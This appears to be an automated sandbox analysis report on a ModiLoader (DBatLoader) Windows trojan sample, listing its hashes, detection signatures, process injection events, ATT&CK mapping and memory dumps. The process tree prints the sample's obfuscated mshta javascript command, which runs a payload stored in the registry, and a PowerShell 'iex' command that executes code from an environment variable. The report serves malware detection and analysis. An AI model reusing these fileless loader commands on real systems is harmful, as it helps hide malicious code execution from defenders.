modiloader | 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7

General

Target

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
Size

284KB
MD5

71096df07cffaf2eca61f769660708b0
SHA1

1dc9cb4d2e512bf9c6e665a55abc92b3d3d4a598
SHA256

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7
SHA512

0660d8ef78c19d1793e4882300b7c987d46832794734563e91bcc5b828d86c68aeaff59898451c892b58836ac9b999b11e99701aff77f782756b1eb8b620d350
SSDEEP

6144:Aen7pmZX/JaVjUsvvEVtXk07pGm2WCg8zQMrqnvwPzB/mLUacmV:XdmC1LEf00QzWnGQNn4PzPat

Score

10^/10

modiloader trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 864 1816 mshta.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	864	1816	mshta.exe

ModiLoader Second Stage 9 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1576-61-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-62-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-63-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-65-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-66-0x0000000000402E54-mapping.dmp	modiloader_stage2
behavioral1/memory/1576-68-0x0000000000400000-0x0000000001400000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-70-0x0000000000400000-0x0000000000435000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-71-0x000000000D310000-0x000000000D3D0000-memory.dmp	modiloader_stage2
behavioral1/memory/1576-76-0x000000000D310000-0x000000000D3D0000-memory.dmp	modiloader_stage2

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

Processes:

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe

description	pid	process	target process
PID 1752 set thread context of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exepowershell.exe

pid process

1752 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
2024 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2024 powershell.exe
Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe

pid process

1752 41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe

pid	process
1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
2024	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2024	powershell.exe

pid	process
1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe

Suspicious use of WriteProcessMemory 19 IoCs

Processes:

41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exemshta.exepowershell.exe

description	pid	process	target process
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 1752 wrote to memory of 1576	1752	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe	41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
PID 864 wrote to memory of 2024	864	mshta.exe	powershell.exe
PID 864 wrote to memory of 2024	864	mshta.exe	powershell.exe
PID 864 wrote to memory of 2024	864	mshta.exe	powershell.exe
PID 864 wrote to memory of 2024	864	mshta.exe	powershell.exe
PID 2024 wrote to memory of 1372	2024	powershell.exe	dw20.exe
PID 2024 wrote to memory of 1372	2024	powershell.exe	dw20.exe
PID 2024 wrote to memory of 1372	2024	powershell.exe	dw20.exe
PID 2024 wrote to memory of 1372	2024	powershell.exe	dw20.exe

C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
"C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1752

C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe
"C:\Users\Admin\AppData\Local\Temp\41a0f10d4906edfada07b2ad57fba77c5f664bc40e09c88879793654206900f7.exe"
2⤵
PID:1576

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:ZfSV3OAN="lBh";v4X=new%20ActiveXObject("WScript.Shell");nmCJPA5="kCZaYzK";qVI5L=v4X.RegRead("HKLM\\software\\Wow6432Node\\el8VyQCRD\\sNajQblne");t1VfvsVa="Yk";eval(qVI5L);X3IuXTp="zFWt";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:864

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:fisjmot
2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2024

C:\Windows\Microsoft.NET\Framework\v2.0.50727\dw20.exe
dw20.exe -x -s 464
3⤵
PID:1372

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/864-72-0x000007FEFB7F1000-0x000007FEFB7F3000-memory.dmp

Filesize
8KB

Download
memory/1372-78-0x0000000000000000-mapping.dmp

Download
memory/1576-65-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-70-0x0000000000400000-0x0000000000435000-memory.dmp

Filesize
212KB

Download
memory/1576-59-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-61-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-62-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-63-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-55-0x00000000001B0000-0x00000000002AA000-memory.dmp

Filesize
1000KB

Download
memory/1576-66-0x0000000000402E54-mapping.dmp

Download
memory/1576-68-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-57-0x0000000000400000-0x0000000001400000-memory.dmp

Filesize
16.0MB

Download
memory/1576-71-0x000000000D310000-0x000000000D3D0000-memory.dmp

Filesize
768KB

Download
memory/1576-76-0x000000000D310000-0x000000000D3D0000-memory.dmp

Filesize
768KB

Download
memory/1752-58-0x0000000000290000-0x00000000002D7000-memory.dmp

Filesize
284KB

Download
memory/1752-54-0x0000000075111000-0x0000000075113000-memory.dmp

Filesize
8KB

Download
memory/2024-73-0x0000000000000000-mapping.dmp

Download
memory/2024-75-0x0000000073680000-0x0000000073C2B000-memory.dmp

Filesize
5.7MB

Download
memory/2024-77-0x0000000073680000-0x0000000073C2B000-memory.dmp

Filesize
5.7MB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads